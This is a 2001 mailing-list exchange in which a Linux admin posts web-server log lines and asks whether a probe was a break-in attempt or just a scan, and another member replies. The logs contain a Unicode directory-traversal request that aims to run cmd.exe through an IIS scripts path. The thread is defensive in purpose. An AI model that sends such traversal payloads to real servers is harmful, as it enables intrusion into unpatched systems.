[techtalk] scan or attempted break?

[Scott]

At 08:26 AM 5/25/2001 -0500, ktb wrote:
>I was wondering if this is an attempt at break in or just a scan?  This
>person has run this on two separate occasions.  Looks like they are
>trying to do something to an NT server.  Doesn't do them much good on a
>Linux box;)
>
>oz:/var/log# grep /scripts/ httpd/*
>httpd/access_log:128.242.217.204 - - [23/May/2001:22:46:40 -0400] "GET
>/scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/
>winnt/system32/cmd.exe?/c%20dir HTTP/1.0" 404 328
>
>httpd/error_log:[Wed May 23 22:46:40 2001] [error] [client
>128.242.217.204] File does not exist: /home/httpd/html/scripts/..À¯..À¯..À¯..
>À¯..À¯..À¯..À¯..À¯/winnt/system32/cmd.exe
>Thanks,
>kent

Exact same thing I saw on my Win 2K box that was doing Internet Connection 
Sharing.  It is
a kiddie script running out there.  My Win 2K box is now in safe 
mode--powered off.

-sap